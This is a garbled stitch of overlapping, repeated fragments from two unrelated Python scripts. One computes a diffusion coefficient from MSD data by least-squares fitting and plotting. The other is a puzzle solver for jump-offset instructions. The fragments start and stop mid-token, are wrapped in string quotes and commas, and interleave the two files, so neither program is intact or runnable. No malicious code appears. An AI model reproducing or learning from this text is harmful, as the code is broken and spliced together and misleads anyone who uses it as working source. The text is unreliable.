*fac # print(res[0],xvar,np.mean(A[:,0]),len(ts)) std = np.sqrt(res[0]/len(ts)/xvar) *fac /(2.0*dim)", "# print(res[0],xvar,np.mean(A[:,0]),len(ts)) std = np.sqrt(res[0]/len(ts)/xvar) *fac /(2.0*dim) return a,b,std if", "in ps unit = 'ps' tfac = 1.0e-3 plt.xlabel('Time ({0:s})'.format(unit))", "#...if max t > 100ps, time unit in ps unit", "in ts ]) plt.plot(ts*tfac,msds/tfac,'b-',label='MSD data') plt.plot(ts*tfac,fvals/tfac,'r-',label='Fitted curve') plt.savefig(\"graph_msd2D.png\", format='png', dpi=300,", "max t > 100ps, time unit in ps unit =", "\"<NAME>\" __version__ = \"191212\" def read_out_msd(fname='out.msd',offset=0,specorder=[],spc=None): if specorder == []", "lines = f.readlines() for line in lines: if 'time_interval' in", "line: num_out_pos = int(line.split()[1]) return time_interval*num_iteration/num_out_pos def msd2D(ts,msds,fac,dim=3): \"\"\" Compute", "1.0e-16 /1.0e-15 #...Least square a,b,std = msd2D(ts,msds,fac) print(' Diffusion coefficient", "ts,msds = read_out_msd(fname,offset) #...Assuming input MSD unit in A^2/fs and", "message and exit. -o, --offset OFFSET Offset of given data.", "msd0 = 0.0 for il,line in enumerate(lines): if line[0] ==", "e: raise RuntimeError('Failed to read in.pmd.') ts = [] msds", "this message and exit. -o, --offset OFFSET Offset of given", "b = p[1] # fac = 1.0e-16 /1.e-15 a =", "fs unit = 'fs' tfac = 1.0 if ts[-1] >", "p[0] b = p[1] # fac = 1.0e-16 /1.e-15 a", "DT, is obtained from in.pmd in the same directory. Usage:", "#...Assuming input MSD unit in A^2/fs and output in cm^2/s", "[default: False] \"\"\" from __future__ import print_function import os,sys from", "= f.readlines() for line in lines: if 'time_interval' in line:", "in line or 'num_out_pmd' in line: num_out_pos = int(line.split()[1]) return", "matplotlib.pyplot as plt import seaborn as sns sns.set(context='talk',style='ticks') #...Original time", "specorder.index(spc) +1 with open(fname,'r') as f: lines = f.readlines() try:", "1 else: index = specorder.index(spc) +1 with open(fname,'r') as f:", "plot: import matplotlib.pyplot as plt import seaborn as sns sns.set(context='talk',style='ticks')", "ts[-1] > 1.0e+5: #...if max t > 100ps, time unit", "coefficient from MSD data. Time interval, DT, is obtained from", "1.0 if ts[-1] > 1.0e+5: #...if max t > 100ps,", "dname = os.path.dirname(fname) dt = dt_from_inpmd(fname=dname+'/in.pmd') except Exception as e:", "if ts[-1] > 1.0e+5: #...if max t > 100ps, time", "graph. [default: False] \"\"\" from __future__ import print_function import os,sys", "if plot: import matplotlib.pyplot as plt import seaborn as sns", "return time_interval*num_iteration/num_out_pos def msd2D(ts,msds,fac,dim=3): \"\"\" Compute diffusion coefficient from time", "def dt_from_inpmd(fname='in.pmd'): with open(fname,'r') as f: lines = f.readlines() for", "index = specorder.index(spc) +1 with open(fname,'r') as f: lines =", "plt.xlabel('Time ({0:s})'.format(unit)) plt.ylabel('MSD (A^2/{0:s})'.format(unit)) fvals = np.array([ (t*a+b)/fac for t", "--help Show this message and exit. -o, --offset OFFSET Offset", "= args['MSD_FILE'] offset = int(args['--offset']) plot = args['--plot'] ts,msds =", "== fs unit = 'fs' tfac = 1.0 if ts[-1]", "'num_out_pmd' in line: num_out_pos = int(line.split()[1]) return time_interval*num_iteration/num_out_pos def msd2D(ts,msds,fac,dim=3):", "f: lines = f.readlines() for line in lines: if 'time_interval'", "def read_out_msd(fname='out.msd',offset=0,specorder=[],spc=None): if specorder == [] or spc not in", "for line in lines: if 'time_interval' in line: time_interval =", "'time_interval' in line: time_interval = abs(float(line.split()[1])) elif 'num_iteration' in line:", "def msd2D(ts,msds,fac,dim=3): \"\"\" Compute diffusion coefficient from time [fs] vs", "int(data[0]) msd = float(data[index]) ts.append((n-n0)*dt) msds.append(msd-msd0) return np.array(ts),np.array(msds) def dt_from_inpmd(fname='in.pmd'):", "A^2/fs and output in cm^2/s fac = 1.0e-16 /1.0e-15 #...Least", "(A^2/{0:s})'.format(unit)) fvals = np.array([ (t*a+b)/fac for t in ts ])", "time [fs] vs MSD [Ang^2] data by solving least square", "= 1.0e-16 /1.0e-15 #...Least square a,b,std = msd2D(ts,msds,fac) print(' Diffusion", "fname = args['MSD_FILE'] offset = int(args['--offset']) plot = args['--plot'] ts,msds", "obtained from in.pmd in the same directory. Usage: msd2diff.py [options]", "of given data. [default: 0] --plot Plot a fitted graph.", "a *fac /(2.0*dim) b = b *fac # print(res[0],xvar,np.mean(A[:,0]),len(ts)) std", "#...Least square a,b,std = msd2D(ts,msds,fac) print(' Diffusion coefficient = {0:12.4e}'.format(a)+", "\"\"\" from __future__ import print_function import os,sys from docopt import", "f.readlines() try: dname = os.path.dirname(fname) dt = dt_from_inpmd(fname=dname+'/in.pmd') except Exception", "fac = 1.0e-16 /1.e-15 a = a *fac /(2.0*dim) b", "__version__ = \"191212\" def read_out_msd(fname='out.msd',offset=0,specorder=[],spc=None): if specorder == [] or", "import os,sys from docopt import docopt import numpy as np", "= 1.0e-16 /1.e-15 a = a *fac /(2.0*dim) b =", "data') plt.plot(ts*tfac,fvals/tfac,'r-',label='Fitted curve') plt.savefig(\"graph_msd2D.png\", format='png', dpi=300, bbox_inches='tight') print(' Wrote graph_msd2D.png')", "\"__main__\": args = docopt(__doc__) fname = args['MSD_FILE'] offset = int(args['--offset'])", "Offset of given data. [default: 0] --plot Plot a fitted", "plt import seaborn as sns sns.set(context='talk',style='ticks') #...Original time unit ==", "fvals = np.array([ (t*a+b)/fac for t in ts ]) plt.plot(ts*tfac,msds/tfac,'b-',label='MSD", "from __future__ import print_function import os,sys from docopt import docopt", "lines: if 'time_interval' in line: time_interval = abs(float(line.split()[1])) elif 'num_iteration'", "index = 1 else: index = specorder.index(spc) +1 with open(fname,'r')", "= p[0] b = p[1] # fac = 1.0e-16 /1.e-15", "msd2D(ts,msds,fac,dim=3): \"\"\" Compute diffusion coefficient from time [fs] vs MSD", "num_iteration = int(line.split()[1]) elif 'num_out_pos' in line or 'num_out_pmd' in", "1.0e-16 /1.e-15 a = a *fac /(2.0*dim) b = b", "for il,line in enumerate(lines): if line[0] == '#': continue data", "= p[1] # fac = 1.0e-16 /1.e-15 a = a", "'fs' tfac = 1.0 if ts[-1] > 1.0e+5: #...if max", "\"\"\" Compute diffusion coefficient from time [fs] vs MSD [Ang^2]", "fac = 1.0e-16 /1.0e-15 #...Least square a,b,std = msd2D(ts,msds,fac) print('", "in line: num_iteration = int(line.split()[1]) elif 'num_out_pos' in line or", "tfac = 1.0 if ts[-1] > 1.0e+5: #...if max t", "try: dname = os.path.dirname(fname) dt = dt_from_inpmd(fname=dname+'/in.pmd') except Exception as", "1.0e+5: #...if max t > 100ps, time unit in ps", "Options: -h, --help Show this message and exit. -o, --offset", "import matplotlib.pyplot as plt import seaborn as sns sns.set(context='talk',style='ticks') #...Original", "msd0 = float(data[index]) continue n = int(data[0]) msd = float(data[index])", "= int(line.split()[1]) elif 'num_out_pos' in line or 'num_out_pmd' in line:", "in the same directory. Usage: msd2diff.py [options] MSD_FILE Options: -h,", "= args['--plot'] ts,msds = read_out_msd(fname,offset) #...Assuming input MSD unit in", "< offset: n0 = int(data[0]) msd0 = float(data[index]) continue n", "+/- {0:12.4e} [cm^2/s]'.format(std)) if plot: import matplotlib.pyplot as plt import", "__name__ == \"__main__\": args = docopt(__doc__) fname = args['MSD_FILE'] offset", "> 1.0e+5: #...if max t > 100ps, time unit in", "from docopt import docopt import numpy as np __author__ =", "except Exception as e: raise RuntimeError('Failed to read in.pmd.') ts", "if specorder == [] or spc not in specorder: index", "' +/- {0:12.4e} [cm^2/s]'.format(std)) if plot: import matplotlib.pyplot as plt", "solving least square problem using numpy. Return diffusion coefficient multiplied", "args = docopt(__doc__) fname = args['MSD_FILE'] offset = int(args['--offset']) plot", "a,b,std if __name__ == \"__main__\": args = docopt(__doc__) fname =", "MSD unit in A^2/fs and output in cm^2/s fac =", "in line: num_out_pos = int(line.split()[1]) return time_interval*num_iteration/num_out_pos def msd2D(ts,msds,fac,dim=3): \"\"\"", "line: time_interval = abs(float(line.split()[1])) elif 'num_iteration' in line: num_iteration =", "seaborn as sns sns.set(context='talk',style='ticks') #...Original time unit == fs unit", "= int(args['--offset']) plot = args['--plot'] ts,msds = read_out_msd(fname,offset) #...Assuming input", "== '#': continue data = line.split() if il < offset:", "diffusion coefficient from time [fs] vs MSD [Ang^2] data by", "msds.append(msd-msd0) return np.array(ts),np.array(msds) def dt_from_inpmd(fname='in.pmd'): with open(fname,'r') as f: lines", "elif 'num_iteration' in line: num_iteration = int(line.split()[1]) elif 'num_out_pos' in", "as sns sns.set(context='talk',style='ticks') #...Original time unit == fs unit =", "open(fname,'r') as f: lines = f.readlines() try: dname = os.path.dirname(fname)", "continue n = int(data[0]) msd = float(data[index]) ts.append((n-n0)*dt) msds.append(msd-msd0) return", "docopt(__doc__) fname = args['MSD_FILE'] offset = int(args['--offset']) plot = args['--plot']", "= f.readlines() try: dname = os.path.dirname(fname) dt = dt_from_inpmd(fname=dname+'/in.pmd') except", "not in specorder: index = 1 else: index = specorder.index(spc)", "]) plt.plot(ts*tfac,msds/tfac,'b-',label='MSD data') plt.plot(ts*tfac,fvals/tfac,'r-',label='Fitted curve') plt.savefig(\"graph_msd2D.png\", format='png', dpi=300, bbox_inches='tight') print('", "as np __author__ = \"<NAME>\" __version__ = \"191212\" def read_out_msd(fname='out.msd',offset=0,specorder=[],spc=None):", "0.0 for il,line in enumerate(lines): if line[0] == '#': continue", "np.ones(len(ts))]) A = A.T xvar = np.var(A[:,0]) p,res,_,_ = np.linalg.lstsq(A,msds,rcond=None)", "specorder: index = 1 else: index = specorder.index(spc) +1 with", "line[0] == '#': continue data = line.split() if il <", "coefficient multiplied by FAC. \"\"\" A= np.array([ts, np.ones(len(ts))]) A =", "OFFSET Offset of given data. [default: 0] --plot Plot a", "in line: time_interval = abs(float(line.split()[1])) elif 'num_iteration' in line: num_iteration", "= 0 msd0 = 0.0 for il,line in enumerate(lines): if", "p[1] # fac = 1.0e-16 /1.e-15 a = a *fac", "MSD [Ang^2] data by solving least square problem using numpy.", "from time [fs] vs MSD [Ang^2] data by solving least", "numpy. Return diffusion coefficient multiplied by FAC. \"\"\" A= np.array([ts,", "plt.ylabel('MSD (A^2/{0:s})'.format(unit)) fvals = np.array([ (t*a+b)/fac for t in ts", "vs MSD [Ang^2] data by solving least square problem using", "by FAC. \"\"\" A= np.array([ts, np.ones(len(ts))]) A = A.T xvar", "square a,b,std = msd2D(ts,msds,fac) print(' Diffusion coefficient = {0:12.4e}'.format(a)+ '", "line or 'num_out_pmd' in line: num_out_pos = int(line.split()[1]) return time_interval*num_iteration/num_out_pos", "= abs(float(line.split()[1])) elif 'num_iteration' in line: num_iteration = int(line.split()[1]) elif", "data. Time interval, DT, is obtained from in.pmd in the", "[] msds = [] n0 = 0 msd0 = 0.0", "with open(fname,'r') as f: lines = f.readlines() try: dname =", "to read in.pmd.') ts = [] msds = [] n0", "-o, --offset OFFSET Offset of given data. [default: 0] --plot", "as f: lines = f.readlines() try: dname = os.path.dirname(fname) dt", "FAC. \"\"\" A= np.array([ts, np.ones(len(ts))]) A = A.T xvar =", "> 100ps, time unit in ps unit = 'ps' tfac", "(t*a+b)/fac for t in ts ]) plt.plot(ts*tfac,msds/tfac,'b-',label='MSD data') plt.plot(ts*tfac,fvals/tfac,'r-',label='Fitted curve')", "[default: 0] --plot Plot a fitted graph. [default: False] \"\"\"", "dt_from_inpmd(fname='in.pmd'): with open(fname,'r') as f: lines = f.readlines() for line", "'num_out_pos' in line or 'num_out_pmd' in line: num_out_pos = int(line.split()[1])", "A= np.array([ts, np.ones(len(ts))]) A = A.T xvar = np.var(A[:,0]) p,res,_,_", "return a,b,std if __name__ == \"__main__\": args = docopt(__doc__) fname", "= os.path.dirname(fname) dt = dt_from_inpmd(fname=dname+'/in.pmd') except Exception as e: raise", "data. [default: 0] --plot Plot a fitted graph. [default: False]", "by solving least square problem using numpy. Return diffusion coefficient", "Time interval, DT, is obtained from in.pmd in the same", "output in cm^2/s fac = 1.0e-16 /1.0e-15 #...Least square a,b,std", "exit. -o, --offset OFFSET Offset of given data. [default: 0]", "a = a *fac /(2.0*dim) b = b *fac #", "np.linalg.lstsq(A,msds,rcond=None) a = p[0] b = p[1] # fac =", "as e: raise RuntimeError('Failed to read in.pmd.') ts = []", "read_out_msd(fname='out.msd',offset=0,specorder=[],spc=None): if specorder == [] or spc not in specorder:", "offset: n0 = int(data[0]) msd0 = float(data[index]) continue n =", "enumerate(lines): if line[0] == '#': continue data = line.split() if", "xvar = np.var(A[:,0]) p,res,_,_ = np.linalg.lstsq(A,msds,rcond=None) a = p[0] b", "== [] or spc not in specorder: index = 1", "= np.linalg.lstsq(A,msds,rcond=None) a = p[0] b = p[1] # fac", "print(' Diffusion coefficient = {0:12.4e}'.format(a)+ ' +/- {0:12.4e} [cm^2/s]'.format(std)) if", "f: lines = f.readlines() try: dname = os.path.dirname(fname) dt =", "= 1.0e-3 plt.xlabel('Time ({0:s})'.format(unit)) plt.ylabel('MSD (A^2/{0:s})'.format(unit)) fvals = np.array([ (t*a+b)/fac", "specorder == [] or spc not in specorder: index =", "Compute diffusion coefficient from MSD data. Time interval, DT, is", "args['MSD_FILE'] offset = int(args['--offset']) plot = args['--plot'] ts,msds = read_out_msd(fname,offset)", "problem using numpy. Return diffusion coefficient multiplied by FAC. \"\"\"", "MSD data. Time interval, DT, is obtained from in.pmd in", "a fitted graph. [default: False] \"\"\" from __future__ import print_function", "lines = f.readlines() try: dname = os.path.dirname(fname) dt = dt_from_inpmd(fname=dname+'/in.pmd')", "os,sys from docopt import docopt import numpy as np __author__", "= \"<NAME>\" __version__ = \"191212\" def read_out_msd(fname='out.msd',offset=0,specorder=[],spc=None): if specorder ==", "{0:12.4e}'.format(a)+ ' +/- {0:12.4e} [cm^2/s]'.format(std)) if plot: import matplotlib.pyplot as", "*fac /(2.0*dim) return a,b,std if __name__ == \"__main__\": args =", "docopt import numpy as np __author__ = \"<NAME>\" __version__ =", "Exception as e: raise RuntimeError('Failed to read in.pmd.') ts =", "Return diffusion coefficient multiplied by FAC. \"\"\" A= np.array([ts, np.ones(len(ts))])", "{0:12.4e} [cm^2/s]'.format(std)) if plot: import matplotlib.pyplot as plt import seaborn", "python \"\"\" Compute diffusion coefficient from MSD data. Time interval,", "== \"__main__\": args = docopt(__doc__) fname = args['MSD_FILE'] offset =", "data = line.split() if il < offset: n0 = int(data[0])", "MSD_FILE Options: -h, --help Show this message and exit. -o,", "in specorder: index = 1 else: index = specorder.index(spc) +1", "np.sqrt(res[0]/len(ts)/xvar) *fac /(2.0*dim) return a,b,std if __name__ == \"__main__\": args", "line: num_iteration = int(line.split()[1]) elif 'num_out_pos' in line or 'num_out_pmd'", "args['--plot'] ts,msds = read_out_msd(fname,offset) #...Assuming input MSD unit in A^2/fs", "= 1.0 if ts[-1] > 1.0e+5: #...if max t >", "from MSD data. Time interval, DT, is obtained from in.pmd", "b = b *fac # print(res[0],xvar,np.mean(A[:,0]),len(ts)) std = np.sqrt(res[0]/len(ts)/xvar) *fac", "in.pmd in the same directory. Usage: msd2diff.py [options] MSD_FILE Options:", "Diffusion coefficient = {0:12.4e}'.format(a)+ ' +/- {0:12.4e} [cm^2/s]'.format(std)) if plot:", "= specorder.index(spc) +1 with open(fname,'r') as f: lines = f.readlines()", "= 'ps' tfac = 1.0e-3 plt.xlabel('Time ({0:s})'.format(unit)) plt.ylabel('MSD (A^2/{0:s})'.format(unit)) fvals", "np.array([ (t*a+b)/fac for t in ts ]) plt.plot(ts*tfac,msds/tfac,'b-',label='MSD data') plt.plot(ts*tfac,fvals/tfac,'r-',label='Fitted", "\"\"\" Compute diffusion coefficient from MSD data. Time interval, DT,", "= int(data[0]) msd0 = float(data[index]) continue n = int(data[0]) msd", "numpy as np __author__ = \"<NAME>\" __version__ = \"191212\" def", "else: index = specorder.index(spc) +1 with open(fname,'r') as f: lines", "Compute diffusion coefficient from time [fs] vs MSD [Ang^2] data", "time unit in ps unit = 'ps' tfac = 1.0e-3", "= \"191212\" def read_out_msd(fname='out.msd',offset=0,specorder=[],spc=None): if specorder == [] or spc", "if il < offset: n0 = int(data[0]) msd0 = float(data[index])", "time_interval = abs(float(line.split()[1])) elif 'num_iteration' in line: num_iteration = int(line.split()[1])", "the same directory. Usage: msd2diff.py [options] MSD_FILE Options: -h, --help", "coefficient = {0:12.4e}'.format(a)+ ' +/- {0:12.4e} [cm^2/s]'.format(std)) if plot: import", "= a *fac /(2.0*dim) b = b *fac # print(res[0],xvar,np.mean(A[:,0]),len(ts))", "--plot Plot a fitted graph. [default: False] \"\"\" from __future__", "dt_from_inpmd(fname=dname+'/in.pmd') except Exception as e: raise RuntimeError('Failed to read in.pmd.')", "'ps' tfac = 1.0e-3 plt.xlabel('Time ({0:s})'.format(unit)) plt.ylabel('MSD (A^2/{0:s})'.format(unit)) fvals =", "import docopt import numpy as np __author__ = \"<NAME>\" __version__", "in enumerate(lines): if line[0] == '#': continue data = line.split()", "#!/usr/bin/env python \"\"\" Compute diffusion coefficient from MSD data. Time", "[options] MSD_FILE Options: -h, --help Show this message and exit.", "using numpy. Return diffusion coefficient multiplied by FAC. \"\"\" A=", "__author__ = \"<NAME>\" __version__ = \"191212\" def read_out_msd(fname='out.msd',offset=0,specorder=[],spc=None): if specorder", "least square problem using numpy. Return diffusion coefficient multiplied by", "a = p[0] b = p[1] # fac = 1.0e-16", "#...Original time unit == fs unit = 'fs' tfac =", "in lines: if 'time_interval' in line: time_interval = abs(float(line.split()[1])) elif", "with open(fname,'r') as f: lines = f.readlines() for line in", "int(args['--offset']) plot = args['--plot'] ts,msds = read_out_msd(fname,offset) #...Assuming input MSD", "= line.split() if il < offset: n0 = int(data[0]) msd0", "a,b,std = msd2D(ts,msds,fac) print(' Diffusion coefficient = {0:12.4e}'.format(a)+ ' +/-", "= A.T xvar = np.var(A[:,0]) p,res,_,_ = np.linalg.lstsq(A,msds,rcond=None) a =", "import numpy as np __author__ = \"<NAME>\" __version__ = \"191212\"", "given data. [default: 0] --plot Plot a fitted graph. [default:", "print_function import os,sys from docopt import docopt import numpy as", "msds = [] n0 = 0 msd0 = 0.0 for", "sns sns.set(context='talk',style='ticks') #...Original time unit == fs unit = 'fs'", "float(data[index]) ts.append((n-n0)*dt) msds.append(msd-msd0) return np.array(ts),np.array(msds) def dt_from_inpmd(fname='in.pmd'): with open(fname,'r') as", "t > 100ps, time unit in ps unit = 'ps'", "as f: lines = f.readlines() for line in lines: if", "in A^2/fs and output in cm^2/s fac = 1.0e-16 /1.0e-15", "sns.set(context='talk',style='ticks') #...Original time unit == fs unit = 'fs' tfac", "plot = args['--plot'] ts,msds = read_out_msd(fname,offset) #...Assuming input MSD unit", "[Ang^2] data by solving least square problem using numpy. Return", "float(data[index]) continue n = int(data[0]) msd = float(data[index]) ts.append((n-n0)*dt) msds.append(msd-msd0)", "f.readlines() for line in lines: if 'time_interval' in line: time_interval", "directory. Usage: msd2diff.py [options] MSD_FILE Options: -h, --help Show this", "0] --plot Plot a fitted graph. [default: False] \"\"\" from", "= int(line.split()[1]) return time_interval*num_iteration/num_out_pos def msd2D(ts,msds,fac,dim=3): \"\"\" Compute diffusion coefficient", "and output in cm^2/s fac = 1.0e-16 /1.0e-15 #...Least square", "p,res,_,_ = np.linalg.lstsq(A,msds,rcond=None) a = p[0] b = p[1] #", "read in.pmd.') ts = [] msds = [] n0 =", "= np.array([ (t*a+b)/fac for t in ts ]) plt.plot(ts*tfac,msds/tfac,'b-',label='MSD data')", "il < offset: n0 = int(data[0]) msd0 = float(data[index]) continue", "= 0.0 for il,line in enumerate(lines): if line[0] == '#':", "ts ]) plt.plot(ts*tfac,msds/tfac,'b-',label='MSD data') plt.plot(ts*tfac,fvals/tfac,'r-',label='Fitted curve') plt.savefig(\"graph_msd2D.png\", format='png', dpi=300, bbox_inches='tight')", "cm^2/s fac = 1.0e-16 /1.0e-15 #...Least square a,b,std = msd2D(ts,msds,fac)", "num_out_pos = int(line.split()[1]) return time_interval*num_iteration/num_out_pos def msd2D(ts,msds,fac,dim=3): \"\"\" Compute diffusion", "fitted graph. [default: False] \"\"\" from __future__ import print_function import", "\"\"\" A= np.array([ts, np.ones(len(ts))]) A = A.T xvar = np.var(A[:,0])", "continue data = line.split() if il < offset: n0 =", "if line[0] == '#': continue data = line.split() if il", "-h, --help Show this message and exit. -o, --offset OFFSET", "ts = [] msds = [] n0 = 0 msd0", "= read_out_msd(fname,offset) #...Assuming input MSD unit in A^2/fs and output", "read_out_msd(fname,offset) #...Assuming input MSD unit in A^2/fs and output in", "plt.plot(ts*tfac,msds/tfac,'b-',label='MSD data') plt.plot(ts*tfac,fvals/tfac,'r-',label='Fitted curve') plt.savefig(\"graph_msd2D.png\", format='png', dpi=300, bbox_inches='tight') print(' Wrote", "n = int(data[0]) msd = float(data[index]) ts.append((n-n0)*dt) msds.append(msd-msd0) return np.array(ts),np.array(msds)", "int(line.split()[1]) elif 'num_out_pos' in line or 'num_out_pmd' in line: num_out_pos", "Show this message and exit. -o, --offset OFFSET Offset of", "A = A.T xvar = np.var(A[:,0]) p,res,_,_ = np.linalg.lstsq(A,msds,rcond=None) a", "= float(data[index]) continue n = int(data[0]) msd = float(data[index]) ts.append((n-n0)*dt)", "= docopt(__doc__) fname = args['MSD_FILE'] offset = int(args['--offset']) plot =", "ts.append((n-n0)*dt) msds.append(msd-msd0) return np.array(ts),np.array(msds) def dt_from_inpmd(fname='in.pmd'): with open(fname,'r') as f:", "100ps, time unit in ps unit = 'ps' tfac =", "spc not in specorder: index = 1 else: index =", "ps unit = 'ps' tfac = 1.0e-3 plt.xlabel('Time ({0:s})'.format(unit)) plt.ylabel('MSD", "print(res[0],xvar,np.mean(A[:,0]),len(ts)) std = np.sqrt(res[0]/len(ts)/xvar) *fac /(2.0*dim) return a,b,std if __name__", "= {0:12.4e}'.format(a)+ ' +/- {0:12.4e} [cm^2/s]'.format(std)) if plot: import matplotlib.pyplot", "input MSD unit in A^2/fs and output in cm^2/s fac", "import seaborn as sns sns.set(context='talk',style='ticks') #...Original time unit == fs", "unit in A^2/fs and output in cm^2/s fac = 1.0e-16", "\"191212\" def read_out_msd(fname='out.msd',offset=0,specorder=[],spc=None): if specorder == [] or spc not", "in cm^2/s fac = 1.0e-16 /1.0e-15 #...Least square a,b,std =", "or spc not in specorder: index = 1 else: index", "A.T xvar = np.var(A[:,0]) p,res,_,_ = np.linalg.lstsq(A,msds,rcond=None) a = p[0]", "coefficient from time [fs] vs MSD [Ang^2] data by solving", "from in.pmd in the same directory. Usage: msd2diff.py [options] MSD_FILE", "np.var(A[:,0]) p,res,_,_ = np.linalg.lstsq(A,msds,rcond=None) a = p[0] b = p[1]", "dt = dt_from_inpmd(fname=dname+'/in.pmd') except Exception as e: raise RuntimeError('Failed to", "docopt import docopt import numpy as np __author__ = \"<NAME>\"" ]
[ "0 self.numberSteps = 0 def _changeOffsetValue(self, index): if self.instructions[index] >=", "self.instructions[index] -= 1 else: self.instructions[index] += 1 def jump(self): self.numberSteps", ">= 0 and self.currentIndex < len(self.instructions)): self.jump() def main(): def", "jumpNumber = self.instructions[self.currentIndex] oldIndex = self.currentIndex self.currentIndex += jumpNumber self._changeOffsetValue(oldIndex)", "int(line.rstrip()) line = f.readline() instructions = [] while line: instructions.append(formatLine(line))", "+= 1 jumpNumber = self.instructions[self.currentIndex] oldIndex = self.currentIndex self.currentIndex +=", "+= 1 def jump(self): self.numberSteps += 1 jumpNumber = self.instructions[self.currentIndex]", "self.instructions[index] >= 3: self.instructions[index] -= 1 else: self.instructions[index] += 1", ">= 3: self.instructions[index] -= 1 else: self.instructions[index] += 1 def", "self.instructions[index] += 1 def jump(self): self.numberSteps += 1 jumpNumber =", "'../input/5/part2.txt'), 'r') class InstructionSet: def __init__(self, instructions): self.instructions = instructions", "self.currentIndex = 0 self.numberSteps = 0 def _changeOffsetValue(self, index): if", "= self.currentIndex self.currentIndex += jumpNumber self._changeOffsetValue(oldIndex) def run(self): while (self.currentIndex", "jumpNumber self._changeOffsetValue(oldIndex) def run(self): while (self.currentIndex >= 0 and self.currentIndex", "= [] while line: instructions.append(formatLine(line)) line = f.readline() instructionSet =", "open(os.path.join(os.path.dirname(__file__), '../input/5/part2.txt'), 'r') class InstructionSet: def __init__(self, instructions): self.instructions =", "else: self.instructions[index] += 1 def jump(self): self.numberSteps += 1 jumpNumber", "os f = open(os.path.join(os.path.dirname(__file__), '../input/5/part2.txt'), 'r') class InstructionSet: def __init__(self,", "instructions = [] while line: instructions.append(formatLine(line)) line = f.readline() instructionSet", "0 def _changeOffsetValue(self, index): if self.instructions[index] >= 3: self.instructions[index] -=", "while line: instructions.append(formatLine(line)) line = f.readline() instructionSet = InstructionSet(instructions) instructionSet.run()", "[] while line: instructions.append(formatLine(line)) line = f.readline() instructionSet = InstructionSet(instructions)", "1 def jump(self): self.numberSteps += 1 jumpNumber = self.instructions[self.currentIndex] oldIndex", "= instructions self.currentIndex = 0 self.numberSteps = 0 def _changeOffsetValue(self,", "(self.currentIndex >= 0 and self.currentIndex < len(self.instructions)): self.jump() def main():", "= f.readline() instructions = [] while line: instructions.append(formatLine(line)) line =", "def _changeOffsetValue(self, index): if self.instructions[index] >= 3: self.instructions[index] -= 1", "= open(os.path.join(os.path.dirname(__file__), '../input/5/part2.txt'), 'r') class InstructionSet: def __init__(self, instructions): self.instructions", "f = open(os.path.join(os.path.dirname(__file__), '../input/5/part2.txt'), 'r') class InstructionSet: def __init__(self, instructions):", "import os f = open(os.path.join(os.path.dirname(__file__), '../input/5/part2.txt'), 'r') class InstructionSet: def", "self.numberSteps += 1 jumpNumber = self.instructions[self.currentIndex] oldIndex = self.currentIndex self.currentIndex", "f.readline() instructions = [] while line: instructions.append(formatLine(line)) line = f.readline()", "instructions.append(formatLine(line)) line = f.readline() instructionSet = InstructionSet(instructions) instructionSet.run() print(instructionSet.numberSteps) if", "= self.instructions[self.currentIndex] oldIndex = self.currentIndex self.currentIndex += jumpNumber self._changeOffsetValue(oldIndex) def", "< len(self.instructions)): self.jump() def main(): def formatLine(line): return int(line.rstrip()) line", "line = f.readline() instructions = [] while line: instructions.append(formatLine(line)) line", "while (self.currentIndex >= 0 and self.currentIndex < len(self.instructions)): self.jump() def", "jump(self): self.numberSteps += 1 jumpNumber = self.instructions[self.currentIndex] oldIndex = self.currentIndex", "and self.currentIndex < len(self.instructions)): self.jump() def main(): def formatLine(line): return", "= 0 self.numberSteps = 0 def _changeOffsetValue(self, index): if self.instructions[index]", "run(self): while (self.currentIndex >= 0 and self.currentIndex < len(self.instructions)): self.jump()", "InstructionSet: def __init__(self, instructions): self.instructions = instructions self.currentIndex = 0", "oldIndex = self.currentIndex self.currentIndex += jumpNumber self._changeOffsetValue(oldIndex) def run(self): while", "class InstructionSet: def __init__(self, instructions): self.instructions = instructions self.currentIndex =", "<filename>5/part2.py<gh_stars>1-10 import os f = open(os.path.join(os.path.dirname(__file__), '../input/5/part2.txt'), 'r') class InstructionSet:", "main(): def formatLine(line): return int(line.rstrip()) line = f.readline() instructions =", "self.currentIndex < len(self.instructions)): self.jump() def main(): def formatLine(line): return int(line.rstrip())", "def run(self): while (self.currentIndex >= 0 and self.currentIndex < len(self.instructions)):", "return int(line.rstrip()) line = f.readline() instructions = [] while line:", "1 else: self.instructions[index] += 1 def jump(self): self.numberSteps += 1", "= 0 def _changeOffsetValue(self, index): if self.instructions[index] >= 3: self.instructions[index]", "if self.instructions[index] >= 3: self.instructions[index] -= 1 else: self.instructions[index] +=", "__init__(self, instructions): self.instructions = instructions self.currentIndex = 0 self.numberSteps =", "instructions): self.instructions = instructions self.currentIndex = 0 self.numberSteps = 0", "self.jump() def main(): def formatLine(line): return int(line.rstrip()) line = f.readline()", "formatLine(line): return int(line.rstrip()) line = f.readline() instructions = [] while", "self.currentIndex self.currentIndex += jumpNumber self._changeOffsetValue(oldIndex) def run(self): while (self.currentIndex >=", "= f.readline() instructionSet = InstructionSet(instructions) instructionSet.run() print(instructionSet.numberSteps) if __name__ ==", "self._changeOffsetValue(oldIndex) def run(self): while (self.currentIndex >= 0 and self.currentIndex <", "_changeOffsetValue(self, index): if self.instructions[index] >= 3: self.instructions[index] -= 1 else:", "line: instructions.append(formatLine(line)) line = f.readline() instructionSet = InstructionSet(instructions) instructionSet.run() print(instructionSet.numberSteps)", "def jump(self): self.numberSteps += 1 jumpNumber = self.instructions[self.currentIndex] oldIndex =", "line = f.readline() instructionSet = InstructionSet(instructions) instructionSet.run() print(instructionSet.numberSteps) if __name__", "1 jumpNumber = self.instructions[self.currentIndex] oldIndex = self.currentIndex self.currentIndex += jumpNumber", "len(self.instructions)): self.jump() def main(): def formatLine(line): return int(line.rstrip()) line =", "def formatLine(line): return int(line.rstrip()) line = f.readline() instructions = []", "self.currentIndex += jumpNumber self._changeOffsetValue(oldIndex) def run(self): while (self.currentIndex >= 0", "0 and self.currentIndex < len(self.instructions)): self.jump() def main(): def formatLine(line):", "def __init__(self, instructions): self.instructions = instructions self.currentIndex = 0 self.numberSteps", "'r') class InstructionSet: def __init__(self, instructions): self.instructions = instructions self.currentIndex", "f.readline() instructionSet = InstructionSet(instructions) instructionSet.run() print(instructionSet.numberSteps) if __name__ == '__main__':", "3: self.instructions[index] -= 1 else: self.instructions[index] += 1 def jump(self):", "def main(): def formatLine(line): return int(line.rstrip()) line = f.readline() instructions", "-= 1 else: self.instructions[index] += 1 def jump(self): self.numberSteps +=", "self.numberSteps = 0 def _changeOffsetValue(self, index): if self.instructions[index] >= 3:", "instructions self.currentIndex = 0 self.numberSteps = 0 def 